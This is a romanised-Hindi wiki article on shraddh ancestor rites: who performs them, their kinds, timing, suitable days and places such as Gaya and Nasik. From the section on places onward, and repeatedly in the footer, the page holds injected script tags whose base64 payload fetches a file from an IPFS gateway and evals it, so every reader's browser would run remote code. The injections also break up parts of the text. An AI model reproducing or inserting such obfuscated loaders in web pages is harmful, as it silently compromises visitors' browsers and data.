Upanayana]] yah jnatavy hai ki kuchh dharmashastr granthoan (yatha–vishnudharmottar) ne vyavastha di hai ki jo koee mritak ki sampatti le leta hai, use usake lie shraddh karana chahie, aur kuchh ne aisa kaha hai ki jo bhi koee shraddh karane ki yogyata rakhata hai athava shraddh ka adhikari hai, vah mritak ki sampatti grahan kar sakata hai. shantiparv mean varnan aya hai ki indr ne samrat mandhata se kaha ki kis prakar yavan, kirat adi anaryoan (jinhean mahabharat mean dasyu kaha gaya hai) ko acharan karana chahie aur yah bhi kaha gaya hai ki sabhi dasyu pitriyajn (jisase unhean apani jati valoan ko dhan dena chahie) kar sakate haian aur brahmanoan ko dhan bhi de sakate haian. vayu puran ne bhi mlechchhoan ko pitaroan ke lie shraddh karate hue varnit kiya hai. gobhilasmriti ne ek samany niyam diya hai ki putrahin patni ko (marane par) pati dvara pind nahian diya jana chahie, pita dvara putr ko tatha b de bhaee ke dvara chhote bhaee ko bhi pind nahian diya jana chahie nimi ne apane mrit putr ka shraddh kiya tha, kintu unhoanne age chalakar pashchatap kiya, kyoanki vah kary dharmasankat tha. yah bat bhi gobhilasmriti ke saman hi hai. aparark ne shatatrishanmat ka ek shlok uddhrit kar kaha hai ki pita ko putr ka evan b de bhaee ko chhote bhaee ka shraddh nahian karana chahie. kintu brihatparashar ne kaha hai ki kabhi-kabhi yah samany niyam bhi nahian mana ja sakata. baudhayan evan vriddhashatatap ne kisi ko snehavash kisi ke lie bhi shraddh karane ki, visheshat: gaya, mean anumati di hai. aisa kaha gaya hai ki keval vahi putr kahalane yogy hai, jo pita ki jivitavastha mean usake vachanoan ka palan karata hai, prati varsh (pita ki mrityu ke uparant) paryapt bhojan, (brahmanoan) ko deta hai aur jo gaya mean (poorvajoan) ko pind deta hai. ek samany niyam yah tha ki upanayanavihin bachcha shoodr ke saman hai aur vah vaidik mantroan ka uchcharan nahian kar sakata. kintu isaka ek apavad svikrit tha, upanayanavihin putr antyeshti karm se sambandhit vaidik mantroan ka uchcharan kar sakata hai. medhatithi ne vyakhya ki hai ki alpavayask putr bhi, yadyapi abhi vah upanayanavihin hone ke karan vedadhyayanarahit hai, apane pita ko jal tarpan kar sakata hai, navashraddh kar sakata hai aur 'shundhantaan pitar:' jaise mantroan ka uchcharan kar sakata hai, kintu shrautagniyoan ya grihyagniyoan ke abhav mean vah parvan jaise shraddh nahian kar sakata. smrityarthasar ne likha hai ki anupanit (jinaka abhi upanayan sanskar nahian hua hai) bachchoan, striyoan tatha shoodroan ko purohit dvara shraddhakarm karana chahie ya ve svayan bhi bina mantroan ke shraddh kar sakate haian kintu ve keval mrit ke nam evan gotr ya do mantroan, yatha–'devebhyo nam:' evan 'pitribhy: svadha nam:' ka uchcharan kar sakate haian. uparyukt vivechan spasht karata hai ki purushoan, striyoan evan upanit tatha anupanit bachchoan ko shraddh karana p data hai.

prapautr ko shraddh karane ka adhikar

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taittiriy sanhita evan taittiriy brahman se prakat hota hai ki pita, pitamah evan prapitamah tin sv-sambandhi poorvapurushoan ka shraddh kiya jata hai. baudhayan dharmasootr ka kathan hai ki sat prakar ke vyakti ek-doosare se ati sambandhit haian, aur ve avibhaktaday sapind kahe jate haian–prapitamah, pita, svayan vyakti (jo apane se poorv se tin ko pind deta hai), usake sahodar bhaee, usaka putr (usi ki jati vali patni se utpann) pautr evan prapautr. sakuly ve haian jo vibhaktadayad haian, mrit ki sampatti use milati hai jo mrit ke sharir se utpann hua hai. manu ne likha hai–putr ke janm se vyakti lokoan (svarg) adi ki prapti karata hai, pautr se amarata prapt karata hai aur prapautr se vah sooryalok pahuanch jata hai. isase prakat hota hai ki vyakti ke tin vanshaj saman roop se vyakti ko adhyatmik labh pahuanchate haian.

ahvik yajn

shatapath brahman evan taittiriy aranyak ne age kaha hai ki vah ahvik yajn jisamean pitaroan ko svadha (bhojan) evan jal diya jata hai, pitriyajn kahalata hai. manu ne pitriyajn ko tarpan (jal se poorvajoan ki santushti) karana kaha hai. manu ne vyavastha di hai ki pratyek grihasth ko pratidin bhojan ya jal ya doodh, mool evan phal ke sath shraddh karana chahie aur pitaroan ko santosh dena chahie. prarambhik roop mean shraddh pitaroan ke lie amavasya ke din kiya jata tha. amavasya do prakar ki hoti hai; vinovali evan kuhoo. ahitagni (agnihotri) sinivali mean shraddh karate haian, tatha inase bhinn evan shoodr log kuhoo amavasya mean shraddh karate haian.

tin kotiyaan

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shraddh (ya sabhi krity) tin kotiyoan mean vibhajit kiye gaye haian; nity, naimittik evan kamy.

• vah shraddh nity kahalata hai, jisake lie aisi vyavastha di huee ho ki vah kisi nishchit avasar par kiya jae (yatha–ahvik, amavasya ke din vala ya ashtaka ke din vala).
• jo aise avasar par kiya jae jo ki anishchit sa ho, yatha–putrotpatti adi par, use naimittik kaha jata hai.
• jo kisi vishisht phal ke lie kiya jae use kamy kahate haian; yatha–svarg, santati adi ki prapti ke lie. krittika ya rohini par kiya gaya shraddh.

panchamahayajn krity, jinamean pitriyajn bhi sammilit hai, nity kahe jate haian, arthath unhean bina kisi phal ki asha ke karana chahie, unake n karane se pap lagata hai. nity karmoan ko karane se prapt phal ki jo charcha dharmashastroan mean milati hai, vah keval prashansa matr hi hai. usase keval yahi vyakt hota hai ki karmoan ke sampadan se vyakti pavitr ho jata hai. kintu aisa nahian hai ki ve aparihary nahian hai aur unaka sampadan tabhi hota hai, jab vyakti kisi vishisht phal ki asha rakhata hai (arthath in karmoan ka sampadan kamy athava ichchhajanit nahian hai). apastamb dharmasootr ne shraddh ke lie nishchit kaloan ki vyavastha di hai, yatha–isaka sampadan pratyek mas ke antim paksh mean hona chahie, dopahar ko shreshthata milani chahie aur paksh ke arambhik dinoan ki apeksha antim dinoan ko adhik mahattv dena chahie. gautam evan vasishth ka kathan hai ki shraddh pratyek mas ke krishna paksh mean chaturthi ko chho dakar kisi bhi din kiya ja sakata hai aur gautam ne pun: kaha hai ki yadi vishisht roop mean uchit samagriyoan ya pavitr brahman upalabdh ho ya karta kisi pavitr sthan (yatha–gaya) mean ho to shraddh kisi bhi din kiya ja sakata hai. yahi bat koorm puran ne bhi kahi hai. agni puran ka kathan hai ki gaya mean kisi bhi din shraddh kiya ja sakata hai.

shraddhoan ki phalasoochiyaan

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sankranti par kiya gaya shraddh anant kal tak ke lie sthayi hota hai, isi prakar janm ke din evan katipay nakshatroan mean shraddh karana chahie. apastamb dharmasootr, anushasan parv, vayu puran, yajnavalky, brahm puran, vishnu dharmasootr, koorm puran, brahmand puran ne krishna paksh ki pratipada tithi se amavasya tak kiye gaye shraddhoan ke phaloan ka ullekh kiya hai.

varnit dinoan mean hone vale shraddh

vishnu dharmasootr dvara varnit dinoan mean kiye jane vale shraddh naimittik haian aur jo vishisht tithiyoan evan saptah ke dinoan mean kuchh nishchit ichchhaoan ki poorti ke lie kiye jate haian, ve kamy shraddh kahe jate haian. para. ma. ke mat se nity karmoan ka sampadan sanskarak (jo ki man ko pavitr bana de aur use shubh karmoan ki or prerit kare) kaha jata hai, kintu kuchh paristhitiyoan mean yah apratyaksh antarhit rahasy (param tattv) ki janakari ki abhikaanksha bhi utpann karata hai. jaiminiy ne siddh kiya hai ki nity karm (yatha, agnihotr, darsh poornamas yag) avashy karane chahie, bhale hi karta unake kuchh upakrityoan ko karane mean asamarth ho; unhoanne pun: vyavastha di hai ki kamy krityoan ke sabhi bhag sampadit hone chahie aur yadi karta sochata hai ki vah sabaka sampadan karane mean asamarth hai to use kamy krity karane hi nahian chahie.

saptah ka shraddh

vishnu dharmasootr ka kathan hai ki ravivar ko shraddh karane vala rogoan se sada ke lie chhutakara pa jata hai aur ve jo som, mangal, budh, brihaspati, shukr evan shani ko shraddh karate haian, kram se saukhy (ya prashansa), yuddh mean vijay, sabhi ichchhaoan ki poorti, abhisht jnan, dhan evan lambi ayu prapt karate haian. koorm puran ne bhi saptah ke katipay dinoan mean sampadit shroddhoan se utpann phaloan ka ullekh kiya hai. vishnudharmasootr ne krittika se bharani (abhijit ko bhi sammilit karate hue) tak ke 28 nakshatroan mean sampadit shraddhoan se utpann phaloan ka ullekh kiya hai.

yugadi evan manvadi

agni puran mean aya hai ki ve shraddh jo kisi tirth ya yugadi evan manvadi dinoan mean kiye jate haian (pitaroan ko) akshay santushti dete haian. vishnu puran, matsy puran, padm puran, varah puran, prajapatismriti evan skand puran ka kathan hai ki vaishakh shukl tritiya, kartik shukl navami, bhadrapad krishna trayodashi evan magh ki amavasya yugadi tithiyaan (arthath charoan yugoan ke pratham din) kahi jati hai. matsy puran, agni puran, saurapuran, padm puran ne 14 manuoan (ya manvantaroan) ki pratham tithiyaan is prakar di haian–ashvin shukl navami, kartik shukl dvadashi, chaitr evan bhadrapad shukl tritiya, phalgun ki amavasya, paush shukl ekadashi, ashadh shukl dashami evan magh shukl saptami, shravan krishna ashtami, ashadh, kartik, phalgun, chaitr evan jyeshth ki poornima. matsyapuran ki soochi smritich., krityaratnakar, para. ma. evan madanaparijat mean uddhrit haian. skand puran evan smrityarthasar mean kram kuchh bhinn hai. skandapuran (nagar khand) mean shvet se lekar tin kalpoan ki pratham tithiyaan shraddh ke lie upayukt thaharayi gayi haian.

grahan ke samay chhoot

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apastamb dharmasootr, manu, vishnudharmasootr, koorm puran, brahmand puran, bhavishy puran ne ratri, sandhya (godhooli kal) ya jab soory ka turat uday hua ho tab–aise kaloan mean shraddh sampadan mana kiya hai. kintu chandragrahan ke samay chhoot di hai. apastamb dharmasootr ne itana jo d diya hai ki yadi shraddh sampadan aparanhn mean arambh hua ho aur kisi karan se der ho jae tatha soory doob jae to karta ko shraddh sampadan ke shesh krity doosare din hi karane chahie aur use darbhoan par pind rakhane tak upavas karana chahie.

aparanhn ka arth

shraddhakal ke lie manu dvara vyavasthit aparanhn ke arth ke vishay mean aparark, hemadri evan any lekhakoan tatha nibandhoan mean vidvattapoorn vivechan upasthit kiya gaya hai. kee mat prakashit kiye gaye haian. kuchh logoan ke mat se madhyanhn ke uparant din ka sheshant aparanhn hai. poorvahn shabd rrigved mean aya hai. is kathan ke adhar par kaha hai ki din ko tin bhagoan mean baant dene par antim bhag aparanhn kaha jata hai. tisara mat yah hai ki paanch bhagoan mean vibhakt din ka chautha bhag aparanhn hai. is mat ko manane vale shatapath brahman par nirbhar haian. din ke paanch bhag ye haian–prat:, sangav, madhyandin (madhyanhn), aparanhn evan sayahn (saany ya astagaman). inamean pratham tin spasht roop se rrigved mean ullikhit haian. prajapatismriti mean aya hai ki inamean pratyek bhag tin muhoortoan tak rahata hai. isane age kaha hai ki kutap sooryoday ke uparant athavaan muhoort hai aur shraddh ko kutap mean arambh karana chahie tatha use rauhin muhoort ke age nahian le jana chahie. shraddh ke lie paanch muhoort (athavean se barahavean tak) adhikatam yogy kal haian.

kutap

kutap shabd ke ath arth haian, jaisa ki smritich. evan hemadri ne kaha hai. yah shabd 'ku' (nindit arthath pap) evan 'tap' (jalana) se bana hai. 'kutap' ke ath arth ye haian–madhyahn, khadgapatr (geande ke siang ka bana patr), nepal ka kambal, roopa (chaandi), darbh, til, gay evan dauhitr (kanya ka putr). samany niyam yah hai ki shraddh aparanhn mean kiya jata hai (kintu yah niyam amavasya, mahalay, ashtaka evan anvashtaka ke shraddhoan ke lie prayukt hota hai), kintu vriddhishraddh aur amashraddh (jinamean keval ann ka hi arpan hota hai) prat: kal mean kiye jate haian. is vishay mean medha tithi ne ek smritivachan uddhrit kiya hai. trikandamandan mean aya hai ki yadi mukhy kal mean shraddh karana sambhav: n ho to usake pashchath vale gaun kal mean use karana chahie, kintu krity ke mukhy kal evan samagri sangrahan ke kam mean pratham ko hi variyata deni chahie aur sabhi mukhy dravyoan ko ekatr karane ke lie gaun kal ke atirikt any karyoan mean usaki pratiksha nahian karani chahie.

shraddh karane ka sthan

thumb|vishnupad mandir, gaya

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

manu ne vyavastha di hai ki karta ko prayas karake dakshin ki or dhaloo bhoomi khojani chahie, jo ki pavitr ho aur jahaan par manushy adhikatar n jate hoan. us bhoomi ko gobar se lip dena chahie, kyoanki pitar log vastavik svachchh sthaloan, nadi-tatoan evan us sthan par kiye ge shraddh se prasann hote haian, jahaan par log bahudha kam hi jate haian. yajnavalky ne sankshipt roop se kaha hai ki shraddh sthal chaturdik se avrit, pavitr evan dakshin ki or dhaloo hona chahie. shankh ka kathan hai–'bailoan, hathiyoan evan gho doan ki path par, ooanchi bhoomi ya doosare ki bhoomi par shraddh nahian karana chahie.' koorm puran mean aya hai–van, puny parvat, tirthasthan, mandir–inake nishchit svami nahian hote aur ye kisi ki vaiyaktik sampatti nahian haian.

gaya

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

gaya bihar ke mahattvapoorn tirthasthanoan mean se ek hai. yah shahar khasakar hindoo tirthayatriyoan ke lie kafi mashahoor hai. yahaan ka 'vishnupad mandir' paryatakoan ke bich lokapriy hai. dantakathaoan ke anusar bhagavan vishnu ke paanv ke nishan par is mandir ka nirman karaya gaya hai. hindoo dharm mean is mandir ko aham sthan prapt hai. gaya pitridan ke lie bhi prasiddh hai. kaha jata hai ki yahaan phalgu nadi ke tat par piandadan karane se mrit vyakti ko baikuanth ki prapti hoti hai. adhunik kal mean bhi sabhi dharmik hinduoan ki drishti mean gaya ka vilakshan mahattv hai. isake itihas prachinata, puratattv-sambandhi avasheshoan, isake chaturdik pavitr sthaloan, isamean kiye jane vale shraddh-karmoan tatha gaya valoan ke vishay mean bahut-se matoan ka udghosh kiya gaya hai. gaya ke vishay mean sabase mahattvapoorn granth hai 'gayamahatmay'. vidvanoan ne gayamahatmay ke adhyayoan ki prachinata par sandeh prakat kiya hai. vishnudharmasootr ne shraddh yogy jin 55 tirthoan ke nam diye haian, unamean gaya-sambandhi tirth haian- gayashirsh, akshayavat, phalgu, uttar manas, matang-vapi, vishnupad. gaya mean vyakti jo kuchh dan karata hai usase akshay phal milata hai. atri-smriti (55-58) mean pitaroan ke lie gaya jana, phalgu-snan karana pitritarpan karana, gaya mean gadadhar (vishnu) evan gayashirsh ka darshan karana varnit hai. shankh ne bhi gayatirth mean kiye gaye shraddh se utpann akshay phal ka ullekh kiya hai.

nasik

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

'trayambakeshvar' gautam rrishi ki tapobhoomi hai. yah sthan nasik se lagabhag 28 kilomitar ki doori par sthit hai. manyata hai ki gautam rrishi ne shiv ki tapasya karake ganga ko yahaan avatarit karane ka varadan maanga tha, jisake phalasvaroop yahaan godavari nadi ki dhara pravahit huee. isalie godavari ko dakshin bharat ki ganga bhi kaha jata hai. is sthan par kiya shraddh aur pindadan sidha pitaroan tak pahuanchata hai. isase pitaroan ko pret yoni se mukti milati hai aur vah uttam lok mean sthan prapt karate haian. aisi manyata hai ki yahaan shraddh, tarpan, pindadan evan pitaroan ki santushti hetu brahman bhojan karavane se pitar tript hokar akhand saubhagy ka ashirvad pradan karate haian. [[chitr:Ram-Kund-Nasik.jpg|thumb| ramakund, nasik]]

shraddh varjana

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vishnu dharmasootr ne vyavastha di hai ki mlechchhadesh mean n to shraddh karana chahie aur n hi jana chahie; usamean pun: kaha gaya hai ki mlechchhadesh vah hai jisamean char varnoan ki parampara nahian payi jati hai. vayu puran ne vyavastha di hai ki trishanku desh, jisaka barah yojan vistar hai, jo ki mahanadi ke uttar aur kikat (magadh) ke dakshin mean hai, shraddh ke lie yogy nahian haian. isi prakar karaskar, kaliang, siandhu ke uttar ka desh aur ve sabhi desh jahaan varnashram ki vyavastha nahian payi jati hai, shraddh ke lie yathasadhy tyag dene chahie. brahmapuran ne kuchh sima tak ek vichitr bat kahi hai ki nimnalikhit deshoan mean shraddh karm ka yathasambhav parihar karana chahie–kirat desh, kaliang, koankan, krimi (krivi?), dasharn, kumary (kumari antarip), tangan, krath, siandhu nadi ke uttari tat, narmada ka dakshini tat evan karatoya ka poorvi bhag.

visajarn

mukhy lekh : visarjan (shraddh)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

visarjan mean tin prakar ke visarjan kiye jate haian, jinake nam is prakar hai:-

• pind visarjan
• pitri visarjan
• dev visarjan.

udakakarm

mukhy lekh : udakakarm

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• mritak ke lie jal dan ki kriya ko udakakarm kahate haian.
• yah kee prakar se sampann hoti hai.

link=#top|center|oopar jayean

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

• shraddh mahima

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

shrutiyaan

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>